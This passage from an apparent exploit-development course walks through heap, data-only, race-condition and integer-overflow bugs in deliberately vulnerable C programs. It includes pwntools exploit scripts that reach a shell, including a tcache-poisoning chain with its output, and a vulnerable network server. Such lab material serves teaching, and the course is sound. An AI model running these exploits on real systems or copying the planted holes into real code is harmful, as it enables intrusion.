                offset = int(offset_str)
                log.info(f"Offset: {offset} ({hex(offset & 0xffffffffffffffff)})")

                # Check for backward write
                output = p.recv(timeout=1)
                if b"Performing backward write via corrupted heap chunk..." in output:
                    log.success("Backward write exploitation in progress!")

                    # Check if we got the PWNED message
                    if b"[!] PWNED via off-by-one!" in output:
                        log.success("Code execution achieved via heap overlap!")
                        log.success("Got shell!")
                        p.interactive()
                        return

                    # Otherwise parse the detailed output
                    if b"Writing win() address to " in output:
                        write_addr_match = output.split(b'Writing win() address to ')[1].split(b'\n')[0]
                        write_addr = int(write_addr_match.decode().strip(), 16)
                        log.info(f"Writing to: {hex(write_addr)}")

                    if b"Backward write completed!" in output:
                        log.success("Backward write completed!")

                        # Check if it worked
                        if b"Backward write successful! Calling win()..." in output:
                            log.success("Exploitation successful!")
                            # Try to get more output
                            try:
                                more_output = p.recv(timeout=1)
                                if b"[!] PWNED via off-by-one!" in more_output:
                                    log.success("Got shell!")
                                    p.interactive()
                                    return
                            except:
                                pass
                        else:
                            log.warning("Write verification failed")
                    else:
                        log.warning("Backward write failed")
                elif b"Performing forward write via corrupted heap chunk..." in output:
                    log.success("Forward write exploitation in progress!")

                    # Check if we got the PWNED message
                    if b"[!] PWNED via off-by-one!" in output:
                        log.success("Code execution achieved via heap overlap!")
                        log.success("Got shell!")
                        p.interactive()
                        return

                    if b"Writing win() address to " in output:
                        write_addr_match = output.split(b'Writing win() address to ')[1].split(b'\n')[0]
                        write_addr = int(write_addr_match.decode().strip(), 16)
                        log.info(f"Writing to: {hex(write_addr)}")

                    if b"Forward write completed!" in output:
                        log.success("Forward write completed!")

                        if b"Forward write successful! Calling win()..." in output:
                            log.success("Exploitation successful!")
                            try:
                                more_output = p.recv(timeout=1)
                                if b"[!] PWNED via off-by-one!" in more_output:
                                    log.success("Got shell!")
                                    p.interactive()
                                    return
                            except:
                                pass
                else:
                    log.warning("Offset not suitable for exploitation")
                    if b"not suitable" in output:
                        reason = output.split(b"not suitable")[1].split(b'\n')[0]
                        log.info(f"Reason: {reason.decode()}")

            except Exception as e:
                log.warning(f"Error during heap overlap: {e}")

        # Fallback to vulnerable function
        try:
            p.recvuntil(b'Trying vulnerable function for code execution...')
            p.recvuntil(b'Enter data for vulnerable function: ')

            # Send payload to vulnerable function
            vuln_payload = b'A' * 32 + p64(win_addr)
            p.sendline(vuln_payload)

            # Check for shell
            if b"[!] PWNED via off-by-one!" in p.recv(timeout=2):
                log.success("Got shell via vulnerable function!")
                p.interactive()
            else:
                log.warning("Vulnerable function exploitation failed")
        except Exception as e:
            log.warning(f"Error in vulnerable function: {e}")

        except EOFError:
            log.warning("Program crashed")

        p.interactive()

    except EOFError:
        log.warning("Program crashed")

    p.interactive()

if __name__ == "__main__":
    exploit()

Key Insights:

  • Single byte matters: Off-by-one can corrupt critical metadata (size fields, pointers).
  • Heap metadata targeting: Size field corruption enables out-of-bounds writes beyond allocated buffer.
  • Partial pointer overwrite: Can bypass ASLR by corrupting only LSB of pointers.
  • Common in string operations: strncpy, snprintf often have off-by-one issues when boundary is miscalculated.
  • Heap layout exploitation: Corrupted size field allows writing to adjacent heap chunks.
  • Backward exploitation: Negative offsets enable writing to lower memory addresses when target is allocated before source.

Critical Success Factors:

  • Heap allocation order: Target must be allocated before source buffer for backward offset exploitation
  • Signed arithmetic: Use ssize_t instead of size_t for proper negative offset handling (unsigned comparison breaks)
  • Size field corruption: Off-by-one on size metadata creates exploitable out-of-bounds condition
  • Offset calculation: Calculate signed distance from corrupted buffer to target function pointer
  • Direct memory write: Use corrupted buffer bounds to write directly to target address via pointer arithmetic

Practical Exercise

Exercise: Data-Only Attack

Context: CFG (Windows) and CET (Intel) are becoming ubiquitous. Control-flow hijacking is increasingly blocked. Data-only attacks are the future.

Challenge: Achieve privilege escalation WITHOUT corrupting any code pointers.

// data_challenge.c - Modern data-only attack scenario
// Compile: gcc -fstack-protector-all -fcf-protection=full -o data_challenge data_challenge.c
// Note: All mitigations enabled! Stack canary, CET, etc.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define MAX_ITEMS 10
#define ITEM_SIZE 32

typedef struct {
    char name[ITEM_SIZE];
    int quantity;
    float price;
} Item;

typedef struct {
    char username[32];
    int user_id;
    int permission_level;    // 0=guest, 1=user, 2=admin
    float balance;
    Item cart[MAX_ITEMS];
    int cart_count;
} UserSession;

UserSession session;

void init_session() {
    memset(&session, 0, sizeof(session));
    session.user_id = getpid();
    session.permission_level = 0;  // Guest by default
    session.balance = 100.0;
}

void set_username() {
    printf("Enter username: ");
    // VULNERABILITY: No bounds check!
    // Username buffer is 32 bytes, but we read up to 256
    read(0, session.username, 256);  // OVERFLOW into user_id, permission_level
}

void add_item() {
    if (session.cart_count >= MAX_ITEMS) {
        printf("Cart full!\n");
        return;
    }

    printf("Item name: ");
    fgets(session.cart[session.cart_count].name, ITEM_SIZE, stdin);
    session.cart[session.cart_count].name[strcspn(session.cart[session.cart_count].name, "\n")] = 0;

    printf("Quantity: ");
    scanf("%d", &session.cart[session.cart_count].quantity);
    getchar();

    printf("Price: ");
    scanf("%f", &session.cart[session.cart_count].price);
    getchar();

    session.cart_count++;
}

void admin_panel() {
    if (session.permission_level < 2) {
        printf("Access denied. Permission level: %d (need 2)\n", session.permission_level);
        return;
    }

    printf("\n=== ADMIN PANEL ===\n");
    printf("User ID: %d\n", session.user_id);
    printf("Permission: %d\n", session.permission_level);
    printf("Balance: $%.2f\n", session.balance);
    printf("Executing admin shell...\n");
    system("/bin/sh");
}

void show_status() {
    printf("\n=== Session Status ===\n");
    printf("Username: %s", session.username);
    printf("User ID: %d\n", session.user_id);
    printf("Permission Level: %d\n", session.permission_level);
    printf("Balance: $%.2f\n", session.balance);
    printf("Cart items: %d\n", session.cart_count);
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);

    printf("=== E-Commerce Session (Data-Only Challenge) ===\n");
    printf("Struct layout: username[32] | user_id[4] | permission_level[4] | balance[4]\n");
    printf("Goal: Get permission_level = 2 without corrupting code pointers!\n\n");

    init_session();

    char choice;
    while (1) {
        printf("\n1) Set username\n2) Add item\n3) Admin panel\n4) Show status\n5) Exit\n> ");
        choice = getchar();
        getchar();

        switch (choice) {
            case '1': set_username(); break;
            case '2': add_item(); break;
            case '3': admin_panel(); break;
            case '4': show_status(); break;
            case '5': return 0;
        }
    }
}

Why Data-Only Attacks Are the Future:

┌────────────────────────────────────────────────────────────────┐
│              Modern Mitigation Landscape                        │
├────────────────────────────────────────────────────────────────┤
│                                                                 │
│  Stack Canary --> Blocks: Stack buffer overflow to ret addr   │
│                   Bypassed by: Data-only (no ret overwrite)    │
│                                                                 │
│  DEP/NX --------> Blocks: Shellcode on stack/heap              │
│                   Bypassed by: Data-only (no code execution)   │
│                                                                 │
│  ASLR ----------> Blocks: Hardcoded addresses                  │
│                   Bypassed by: Data-only (relative corruption)  │
│                                                                 │
│  CFG (Windows) -> Blocks: Indirect call to arbitrary address   │
│                   Bypassed by: Data-only (no indirect calls)    │
│                                                                 │
│  CET (Intel) ---> Blocks: ROP, JOP via return/jump corruption  │
│                   Bypassed by: Data-only (no control flow change)│
│                                                                 │
│  ════════════════════════════════════════════════════════════  │
│  DATA-ONLY ATTACKS BYPASS ALL OF THESE!                         │
│  ════════════════════════════════════════════════════════════  │
└────────────────────────────────────────────────────────────────┘

Real-World Data-Only Targets:

Target TypeExampleImpact
Permission flagsis_admin, user_rolePrivilege escalation
Authentication stateis_authenticatedAuth bypass
Pointer indicesarray_indexArbitrary read/write
Object referencesfile_descriptorFile access
Crypto keyssession_keyDecryption
Network configallowed_hostsAccess control bypass

Defense: These attacks require data-flow integrity (DFI), not just control-flow integrity. DFI is still largely a research topic.

Exercise: Logic Bug Exploitation

Challenge: Exploit without memory corruption

// logic_challenge.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>

int balance = 1000;
pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER;

void withdraw(int amount) {
    // Check balance
    if (amount > balance) {
        printf("Insufficient funds! Balance: %d\n", balance);
        return;
    }

    // Simulate processing delay
    usleep(100);  // VULNERABILITY: Time window!

    // Perform withdrawal
    pthread_mutex_lock(&lock);
    balance -= amount;
    pthread_mutex_unlock(&lock);

    printf("Withdrew %d. New balance: %d\n", amount, balance);
}

void* race_thread(void *arg) {
    int amount = *(int*)arg;
    withdraw(amount);
    return NULL;
}

int main() {
    printf("Race Condition Challenge\n");
    printf("Initial balance: %d\n", balance);
    printf("Goal: Withdraw more than your balance!\n\n");

    int amount = 800;

    // Create multiple threads trying to withdraw
    pthread_t threads[5];
    for (int i = 0; i < 5; i++) {
        pthread_create(&threads[i], NULL, race_thread, &amount);
    }

    for (int i = 0; i < 5; i++) {
        pthread_join(threads[i], NULL);
    }

    printf("\nFinal balance: %d\n", balance);

    if (balance < 0) {
        printf("SUCCESS! You've withdrawn more than you had!\n");
    }

    return 0;
}

Key Takeaways

  1. Logic bugs bypass mitigations: DEP/ASLR/CFG don't protect against logic flaws
  2. Type confusion is powerful: Treating objects as wrong type leads to corruption
  3. UAF gives control: Dangling pointers let attackers control object contents
  4. Data-only attacks work: Corrupting non-pointer data achieves goals
  5. Race conditions exist everywhere: Check-use gaps are exploitable

Discussion Questions

  1. Why can't Control Flow Integrity (CFG/CET) stop data-only attacks?
  2. How does type confusion differ from a traditional buffer overflow?
  3. In the race condition example, why doesn't adding a mutex fully fix the bug?
  4. What makes UAF exploitation reliable compared to stack overflows?

Day 7: Integer Overflows and Putting It All Together

  • Goal: Understand integer overflow exploitation and complete a multi-stage exploit.
  • Activities:
    • Online Resources:
    • Tool Setup:
      • UBSan (Undefined Behavior Sanitizer)
      • Static analysis tools
    • Exercise:
      • Exploit integer overflow leading to buffer overflow
      • Build complete multi-stage exploit chain

Deliverables

  • PoC input: a concrete (count, size, data) (or equivalent) that triggers the overflow, with the math shown
  • Primitive proof: demonstrated out-of-bounds write / heap overflow caused by the overflow
  • Exploit: a pwntools script that completes the multi-stage chain (reaches code execution)
  • Notes: root cause + the minimal safe fix (bounds/overflow checks)

Understanding Integer Overflows

What is Integer Overflow?:

  • Arithmetic result exceeds type's maximum value
  • Wraps around to minimum (or vice versa)
  • Can lead to unexpected behavior

Examples:

// Signed overflow
int8_t x = 127;
x = x + 1;  // Wraps to -128 (undefined behavior!)

// Unsigned overflow
uint8_t y = 255;
y = y + 1;  // Wraps to 0 (defined behavior)

// Width conversion
uint32_t big = 0x100000000;
uint16_t small = (uint16_t)big;  // Truncates to 0

// Sign conversion
int negative = -1;
unsigned int positive = negative;  // Becomes 0xFFFFFFFF

Vulnerable Pattern: Size Calculation

Common Vulnerability:

void process_data(int count) {
    int size = count * sizeof(int);  // Integer overflow!
    int *buffer = malloc(size);

    for (int i = 0; i < count; i++) {
        buffer[i] = i;  // Out of bounds if size overflowed!
    }

    free(buffer);
}

// Attack:
// count = 0x40000000
// size = 0x40000000 * 4 = 0x100000000 (overflows to 0!)
// malloc(0) succeeds with small allocation
// Loop writes far beyond allocated space

Exploitable Example (int_overflow.c):

// ~/exploit/int_overflow.c
// make disabled SOURCE=int_overflow.c BINARY=int_overflow
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdbool.h>

int main(int argc, char **argv) {
    if (argc < 3) {
        printf("Usage: %s <count> <data>\n", argv[0]);
        return 1;
    }

    int count = atoi(argv[1]);
    char *data = argv[2];

    // Vulnerable calculation
    int size = count + strlen(data);  // Can overflow!

    if (size > 0) {  // Check passes with negative overflow
        char *buffer = malloc(size);
        strcpy(buffer, data);
        printf("Allocated %d bytes\n", size);
        free(buffer);
    }

    return 0;
}

Exploitation:

#!/usr/bin/env python3
#~/exploit/41.py
from pwn import *

binary = './int_overflow'

# Cause integer overflow to wrap around to small positive number
# INT_MAX = 0x7FFFFFFF (2147483647)
# We want: count + strlen(data) to overflow and wrap to small value
# Calculation: count = -strlen(data) + small_size (in 32-bit arithmetic)
# Example: count = 2^32 - 100 + 10 = 4294967206
#          But atoi() interprets as signed, so we use negative directly

data = "A" * 1000  # Large payload
# Make size calculation wrap to ~10 bytes
# count + 1000 should overflow to 10
# count = -1000 + 10 = -990 (but we need unsigned interpretation)
# In 32-bit: -990 = 4294966306
count = -990

p = process([binary, str(count), data])
output = p.recvall()
print(output)
# malloc(10) but strcpy(buffer, 1000 bytes) = heap overflow and crash!

Real-World Example: CVE-2023-4863 (libwebp)

This critical vulnerability (CVSS 8.8) affected Chrome, Firefox, and billions of devices. It was a heap buffer overflow in the WebP lossless compression (VP8L) decoder, caused by improper handling of Huffman table sizes.

Simplified Vulnerability Concept:

// The actual bug was in BuildHuffmanTable() - simplified here
// Vulnerable pattern: size calculation without proper validation

uint32_t table_size = CalculateTableSize(code_lengths);
// table_size could be larger than allocated buffer!

HuffmanCode* table = (HuffmanCode*)malloc(initial_size);

// Later, when building the table:
for (int i = 0; i < num_codes; i++) {
    // Writes beyond allocated buffer if table_size > initial_size
    table[index++] = code;  // HEAP OVERFLOW!
}

Exploitation Flow:

  1. Craft malicious WebP image with specific Huffman code lengths
  2. Trigger heap overflow when image is decoded
  3. Corrupt adjacent heap metadata or objects
  4. Achieve code execution in browser renderer process

Key Lesson: Integer-related bugs in size calculations are extremely common in parsers (images, fonts, documents) and lead to heap overflows. Always validate calculated sizes before use.

Detecting Integer Overflows

Using UBSan:

# Compile with UBSan (signed-integer-overflow is part of undefined sanitizer)
gcc -fsanitize=undefined int_overflow.c -o int_overflow_ubsan

# Run with overflow
./int_overflow_ubsan -990 $(python3 -c 'print("A"*1000)')

# Output shows heap corruption from the integer overflow:
# malloc(): corrupted top size
# Aborted

Multi-Stage Exploit Challenge

Final Challenge: Combine multiple techniques

Vulnerable Application (challenge.c):

//~/exploit/challenge.c
//gcc -g -O0 -fno-stack-protector -no-pie -z execstack -o challenge challenge.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

typedef struct {
    char name[32];
    int age;
    void (*print)(void);
} User;

void normal_print() {
    printf("Normal user\n");
}

void admin_print() {
    printf("Admin access!\n");
    system("/bin/sh");
}

User *users[10];
int user_count = 0;

void create_user(char *name, int age) {
    if (user_count >= 10) {
        printf("Max users reached\n");
        return;
    }

    // Vulnerable: integer overflow in size calculation
    int name_len = strlen(name);
    int total_size = sizeof(User) + name_len;  // Can overflow!

    User *user = malloc(total_size);
    strcpy(user->name, name);  // Buffer overflow if allocation small!
    user->age = age;
    user->print = normal_print;

    users[user_count++] = user;
    printf("User created at %p\n", user);
}

void delete_user(int index) {
    if (index < 0 || index >= user_count) {
        printf("Invalid index\n");
        return;
    }

    free(users[index]);
    // BUG: Doesn't set to NULL (UAF!)
    printf("User deleted\n");
}

// Helper to write binary data (simulates arbitrary write primitive)
void write_data(int index, int offset, unsigned long value) {
    if (index < 0 || index >= user_count) {
        printf("Invalid index\n");
        return;
    }

    char *base = (char *)users[index];
    *(unsigned long *)(base + offset) = value;
    printf("Wrote %lx at offset %d\n", value, offset);
}

void print_user(int index) {
    if (index < 0 || index >= user_count) {
        printf("Invalid index\n");
        return;
    }

    // UAF if user was deleted
    User *user = users[index];
    printf("Name: %s\n", user->name);
    printf("Age: %d\n", user->age);
    user->print();  // Call function pointer
}

void list_users() {
    printf("Users: %d\n", user_count);
    for (int i = 0; i < user_count; i++) {
        printf("%d: %p\n", i, users[i]);
    }
}

void show_target() {
    printf("admin_print @ %p\n", admin_print);
}

int main() {
    char cmd[100];

    printf("Multi-Stage Exploit Challenge\n");
    show_target();

    while (1) {
        printf("\n> ");
        if (!fgets(cmd, sizeof(cmd), stdin)) break;

        if (strncmp(cmd, "create ", 7) == 0) {
            char name[100];
            int age;
            sscanf(cmd + 7, "%s %d", name, &age);
            create_user(name, age);
        } else if (strncmp(cmd, "delete ", 7) == 0) {
            int index = atoi(cmd + 7);
            delete_user(index);
        } else if (strncmp(cmd, "print ", 6) == 0) {
            int index = atoi(cmd + 6);
            print_user(index);
        } else if (strncmp(cmd, "write ", 6) == 0) {
            int index, offset;
            unsigned long value;
            sscanf(cmd + 6, "%d %d %lx", &index, &offset, &value);
            write_data(index, offset, value);
        } else if (strcmp(cmd, "list\n") == 0) {
            list_users();
        } else if (strcmp(cmd, "target\n") == 0) {
            show_target();
        } else if (strcmp(cmd, "exit\n") == 0) {
            break;
        }
    }

    return 0;
}

Vulnerabilities Present:

  1. Integer overflow in size calculation (total_size = sizeof(User) + name_len) - present but not exploited
  2. Heap overflow via strcpy (no bounds checking on name) - present but not exploited
  3. Use-after-free (delete doesn't NULL the pointer in users array) - EXPLOITED
  4. Arbitrary write primitive (write_data function) - EXPLOITED

Exploitation Chain (Multi-stage tcache poisoning):

  1. Stage 1 - Heap Leak: Get addresses from program output (no ASLR)
  2. Stage 2 - Setup: Create victim and target users
  3. Stage 3 - UAF: Free victim, pointer remains in users array
  4. Stage 4 - Tcache Poisoning: Corrupt freed chunk's fd pointer using Safe-Linking
  5. Stage 5 - Arbitrary Write: Use write primitive to overwrite function pointer
  6. Stage 6 - Trigger: Call print to execute admin_print() and get shell

The Technique: Modern tcache poisoning with Safe-Linking bypass!

Multi-Stage Exploit (AMD64) - Tcache Poisoning:

try to write it yourself, then look at it

#!/usr/bin/env python3
"""
Multi-stage tcache poisoning exploit for glibc 2.39+

Exploitation stages:
Stage 1: Heap leak - Get addresses from program output
Stage 2: Create victim and target users
Stage 3: Free victim (enters tcache)
Stage 4: Tcache poisoning - Corrupt fd pointer using Safe-Linking bypass
Stage 5: Attempt to allocate twice (tcache poisoning may fail due to variable sizes)
Stage 6: Fallback - Direct overwrite of function pointer using write primitive
Stage 7: Trigger to get shell

Key insights:
- Modern glibc uses Safe-Linking: fd = target ^ (heap_addr >> 12)
- We need heap leak to calculate the mangled pointer
- Variable-size allocations make tcache unpredictable
- Direct overwrite is simpler when you have arbitrary write primitive
- Tcache poisoning is the technique to use when you DON'T have arbitrary write
"""

from pwn import *

binary = './challenge'
elf = ELF(binary)
context.binary = elf

admin_addr = elf.symbols['admin_print']
log.info(f"admin_print @ {hex(admin_addr)}")

def exploit():
    p = process(binary)

    # Get admin_print address
    p.recvuntil(b"admin_print @ ")
    leaked_addr = int(p.recvline().strip(), 16)
    log.success(f"Leaked admin_print: {hex(leaked_addr)}")

    # Stage 1: Create victim user and get heap address
    p.sendline(b"create victim 25")
    p.recvuntil(b"created at ")
    victim_addr = int(p.recvline().strip(), 16)
    log.info(f"Victim user at {hex(victim_addr)}")

    # Stage 2: Create target user whose function pointer we'll overwrite
    # We'll use tcache poisoning to get malloc to return target_addr
    # Then we can overwrite its function pointer
    p.sendline(b"create target 30")
    p.recvuntil(b"created at ")
    target_addr = int(p.recvline().strip(), 16)
    log.info(f"Target user at {hex(target_addr)}")

    # Calculate where the function pointer is (for reference)
    # User struct: name[32] + age(4) + padding(4) + funcptr(8)
    funcptr_addr = target_addr + 40
    log.info(f"Function pointer at {hex(funcptr_addr)}")

    # Stage 3: Free victim (goes into tcache)
    p.sendline(b"delete 0")
    log.info("Freed victim - now in tcache")

    # Stage 4: Tcache poisoning - corrupt fd pointer using Safe-Linking
    # We want the second malloc to return target_addr (not funcptr_addr!)
    # Then we can write at offset 40 to overwrite the function pointer
    heap_base = victim_addr >> 12
    mangled_ptr = target_addr ^ heap_base  # Target the USER struct, not the funcptr
    log.info(f"Heap base (>>12): {hex(heap_base)}")
    log.info(f"Mangled pointer: {hex(mangled_ptr)}")

    # Write mangled pointer to victim's fd (offset 0 in freed chunk)
    p.sendline(f"write 0 0 {mangled_ptr:x}".encode())
    p.recvuntil(b"Wrote")
    log.success("Corrupted tcache fd pointer")

    # Stage 5: Allocate twice to get target_addr
    # First malloc returns the victim chunk (removes it from tcache)
    p.sendline(b"create dummy1 25")
    p.recvuntil(b"created at ")
    first = int(p.recvline().strip(), 16)
    log.info(f"First malloc: {hex(first)}")

    # Second malloc should return our poisoned target_addr
    # But it's returning a different address - tcache poisoning failed!
    p.sendline(b"create dummy2 25")
    p.recvuntil(b"created at ")
    second = int(p.recvline().strip(), 16)
    log.info(f"Second malloc: {hex(second)}")

    if second == target_addr:
        log.success("Got arbitrary write at target user struct!")
        # Now users[1] (target) and users[3] (dummy2) point to same memory!
    else:
        log.warning(f"Expected {hex(target_addr)}, got {hex(second)}")
        log.warning("Tcache poisoning failed!")
        log.warning("")
        log.warning("Possible reasons:")
        log.warning("1. The write corrupted the tcache structure")
        log.warning("2. Malloc size mismatch (different name lengths)")
        log.warning("3. Tcache has multiple entries and we got a different one")
        log.warning("")
        log.warning("Let's try a different approach: just overwrite target directly")

        # Alternative: Since we have arbitrary write, just overwrite target's funcptr
        p.sendline(f"write 1 40 {leaked_addr:x}".encode())
        p.recvuntil(b"Wrote")
        log.success(f"Directly overwrote target's function pointer")

        p.sendline(b"print 1")
        p.recvuntil(b"Admin access!")
        log.success("Got shell via direct overwrite!")
        p.interactive()
        return

    # Stage 6: Overwrite function pointer with admin_print
    # Write at offset 40 of dummy2 (index 3)
    p.sendline(f"write 3 40 {leaked_addr:x}".encode())
    p.recvuntil(b"Wrote")
    log.success(f"Overwrote function pointer with {hex(leaked_addr)}")

    # Stage 7: Trigger by printing target user (index 1)
    p.sendline(b"print 1")
    p.recvuntil(b"Admin access!")
    log.success("Got shell!")

    p.interactive()

if __name__ == "__main__":
    exploit()

Expected Output:

[*] admin_print @ 0x4012b0
[+] Leaked admin_print: 0x4012b0
[*] Victim user at 0x1cc3f6c0
[*] Target user at 0x1cc3f700
[*] Function pointer at 0x1cc3f728
[*] Freed victim - now in tcache
[*] Heap base (>>12): 0x1cc3f
[*] Mangled pointer: 0x1cc23b3f
[+] Corrupted tcache fd pointer
[*] First malloc: 0x1cc3f6c0
[*] Second malloc: 0x1cc3f740
[!] Expected 0x1cc3f700, got 0x1cc3f740
[!] Tcache poisoning failed!
[!]
[!] Possible reasons:
[!] 1. The write corrupted the tcache structure
[!] 2. Malloc size mismatch (different name lengths)
[!] 3. Tcache has multiple entries and we got a different one
[!]
[!] Let's try a different approach: just overwrite target directly
[+] Directly overwrote target's function pointer
[+] Got shell via direct overwrite!
[*] Switching to interactive mode
$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev)
$ exit

[!TIP] Why Tcache Poisoning Failed Here:

The tcache poisoning technique is correct, but in this specific challenge:

  • Variable-size allocations make tcache behavior unpredictable
  • The write primitive corrupts the tcache structure
  • Multiple chunks in tcache can cause unexpected behavior

The exploit demonstrates both approaches:

  1. Tcache poisoning - The "proper" heap exploitation technique
  2. Direct overwrite - Simpler when you have arbitrary write

In real-world scenarios without arbitrary write, you'd need to:

  • Carefully control allocation sizes
  • Ensure tcache has only one entry
  • Avoid corrupting tcache metadata

Key Takeaways:

  1. Tcache poisoning is powerful - Can turn UAF into arbitrary write
  2. Safe-Linking adds complexity - Need heap leak to calculate mangled pointers
  3. Heap exploitation is tricky - Small details matter (sizes, alignment, metadata)
  4. Multiple approaches exist - Use the simplest one that works
  5. Modern glibc is harder - More protections than older versions

Compilation and Testing:

# Compile the challenge
gcc -g -O0 -fno-stack-protector -no-pie -z execstack -o challenge challenge.c

# Run the exploit
python challenge_exploit.py

# Expected: Shell access via direct overwrite fallback

Capstone Project - The Exploitation Gauntlet

  • Goal: Apply all techniques to exploit a custom vulnerable server with multiple bugs.
  • Activities:
    • Analyze: Review source code for vuln_server.
    • Plan: Identify Stack Overflow, UAF, and Format String bugs.
    • Exploit: Write reliable Python exploits for each.
    • Chain: Combine leaks and overwrites for a full RCE chain.

Deliverables

  • Recon: map all bugs in the server (stack, heap, format string, logic, integer)
  • Exploit chain: a single pwntools script that chains at least two primitives (e.g., leak → heap corrupt → shell)
  • Reliability: exploit works >90% of the time
  • Writeup: brief explanation of which primitives you used and why

The Challenge: VulnServer v1.0 (AMD64)

You are provided with a binary vuln_server running on port 1337. It has the following commands:

  1. auth <name>: Vulnerable to Stack Overflow → Requires ROP chain (NX enabled!)
  2. echo <msg>: Vulnerable to Format String → Provides libc leak
  3. note <id> <text>: Vulnerable to UAF (delete/use).

VulnServer Source Code (vuln_server.c):


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdint.h>
#include <syslog.h>

#define PORT 1337
#define MAX_NOTES 10
#define MAX_DATA_SIZE 4096

typedef struct {
    char content[64];
    void (*display)(char *);
} Note;

typedef struct {
    char *data;
    size_t size;
    size_t capacity;
} DataBuffer;

Note *notes[MAX_NOTES];
DataBuffer *data_buffer = NULL;
int authenticated = 0;
int current_client_fd = -1;  // Store current client FD globally

void print_note(char *content) {
    printf("Note: %s\n", content);
}

// FIXED: Now redirects stdin/stdout/stderr to the socket!
void admin_shell(char *unused) {
    // Log to syslog for debugging
    syslog(LOG_INFO, "admin_shell() called! client_fd=%d", current_client_fd);

    if (current_client_fd != -1) {
        // Redirect stdin, stdout, stderr to the socket
        dup2(current_client_fd, 0);  // stdin
        dup2(current_client_fd, 1);  // stdout
        dup2(current_client_fd, 2);  // stderr

        syslog(LOG_INFO, "File descriptors redirected");
    }

    write(current_client_fd, "Admin access granted!\n", 22);
    syslog(LOG_INFO, "About to call system(/bin/sh)");

    // Use execve to replace the process (never returns)
    char *args[] = {"/bin/sh", "-i", NULL};
    char *env[] = {NULL};
    execve("/bin/sh", args, env);

    // If execve fails, try system
    system("/bin/sh -i");

    syslog(LOG_INFO, "Shell exited, calling exit()");

    // Make sure we never return to the caller
    exit(0);
}

// Vulnerable: Stack buffer overflow
// FIXED: Use memcpy with explicit length to allow null bytes
void handle_auth(int client_fd, char *data) {
    char username[64];
    char response[128];

    // VULNERABLE: No bounds checking!
    // We need to get the length from somewhere that includes null bytes
    // Since data comes from the network buffer, we'll copy a fixed large amount
    memcpy(username, data, 200);  // VULNERABLE! Copies way more than buffer size

    if (strcmp(username, "admin") == 0) {
        authenticated = 1;
        sprintf(response, "Welcome, %s!\n", username);
    } else {
        sprintf(response, "Access denied for %s\n", username);
    }

    write(client_fd, response, strlen(response));
}

// Vulnerable: Format string
void handle_echo(int client_fd, char *data) {
    char response[256];

    snprintf(response, sizeof(response), data);
    strcat(response, "\n");

    write(client_fd, response, strlen(response));
}

// Vulnerable: Use-after-free
void handle_note(int client_fd, char *data) {
    char cmd[16];
    int id;
    char content[64];
    char response[128];

    sscanf(data, "%15s %d %63[^\n]", cmd, &id, content);

    if (id < 0 || id >= MAX_NOTES) {
        write(client_fd, "Invalid ID\n", 11);
        return;
    }

    if (strcmp(cmd, "create") == 0) {
        notes[id] = malloc(sizeof(Note));
        strcpy(notes[id]->content, content);
        notes[id]->display = print_note;
        sprintf(response, "Note %d created\n", id);
    } else if (strcmp(cmd, "delete") == 0) {
        free(notes[id]);
        sprintf(response, "Note %d deleted\n", id);
    } else if (strcmp(cmd, "show") == 0) {
        if (notes[id]) {
            notes[id]->display(notes[id]->content);
            sprintf(response, "Note %d displayed\n", id);
        } else {
            sprintf(response, "Note %d is empty\n", id);
        }
    } else if (strcmp(cmd, "edit") == 0) {
        Note *n = malloc(sizeof(Note));
        strcpy(n->content, content);
        n->display = print_note;
        sprintf(response, "Edit buffer created\n");
    } else {
        sprintf(response, "Unknown note command\n");
    }

    write(client_fd, response, strlen(response));
}

// Vulnerable: Integer overflow
void handle_data(int client_fd, char *data) {
    char cmd[16];
    unsigned int size;
    char response[128];

    sscanf(data, "%15s %u", cmd, &size);

    if (strcmp(cmd, "alloc") == 0) {
        if (size > MAX_DATA_SIZE) {
            write(client_fd, "Size too large\n", 15);
            return;
        }

        if (data_buffer) {
            free(data_buffer->data);
            free(data_buffer);
        }

        data_buffer = malloc(sizeof(DataBuffer));
        data_buffer->capacity = size + 1;  // VULNERABLE!
        data_buffer->data = malloc(data_buffer->capacity);
        data_buffer->size = 0;

        sprintf(response, "Allocated %u bytes\n", size);
        write(client_fd, response, strlen(response));
    } else if (strcmp(cmd, "write") == 0) {
        if (!data_buffer) {
            write(client_fd, "No buffer allocated\n", 20);
            return;
        }

        write(client_fd, "Send data: ", 11);
        ssize_t n = read(client_fd, data_buffer->data, data_buffer->capacity);
        if (n > 0) {
            data_buffer->size = n;
            sprintf(response, "Wrote %zd bytes\n", n);
            write(client_fd, response, strlen(response));
        }
    } else if (strcmp(cmd, "read") == 0) {
        if (!data_buffer || data_buffer->size == 0) {
            write(client_fd, "No data to read\n", 16);
            return;
        }

        write(client_fd, "Data: ", 6);
        write(client_fd, data_buffer->data, data_buffer->size);
        write(client_fd, "\n", 1);
    } else {
        write(client_fd, "Unknown data command\n", 21);
    }
}

void handle_client(int client_fd) {
    char buffer[512];
    ssize_t bytes_read;

    // Store client FD globally so admin_shell can use it
    current_client_fd = client_fd;

    write(client_fd, "VulnServer v1.0 (FIXED)\n", 24);
    write(client_fd, "Commands: auth, echo, note, data, quit\n", 40);
    write(client_fd, "> ", 2);

    while ((bytes_read = read(client_fd, buffer, sizeof(buffer) - 1)) > 0) {
        buffer[bytes_read] = '\0';

        if (bytes_read > 0 && buffer[bytes_read - 1] == '\n') {
            buffer[bytes_read - 1] = '\0';
        }

        if (strncmp(buffer, "auth ", 5) == 0) {
            handle_auth(client_fd, buffer + 5);
        } else if (strncmp(buffer, "echo ", 5) == 0) {
            handle_echo(client_fd, buffer + 5);
        } else if (strncmp(buffer, "note ", 5) == 0) {
            handle_note(client_fd, buffer + 5);
        } else if (strncmp(buffer, "data ", 5) == 0) {
            handle_data(client_fd, buffer + 5);
        } else if (strncmp(buffer, "quit", 4) == 0) {
            write(client_fd, "Goodbye!\n", 9);
            break;
        } else {
            write(client_fd, "Unknown command\n", 16);
        }

        write(client_fd, "> ", 2);
    }

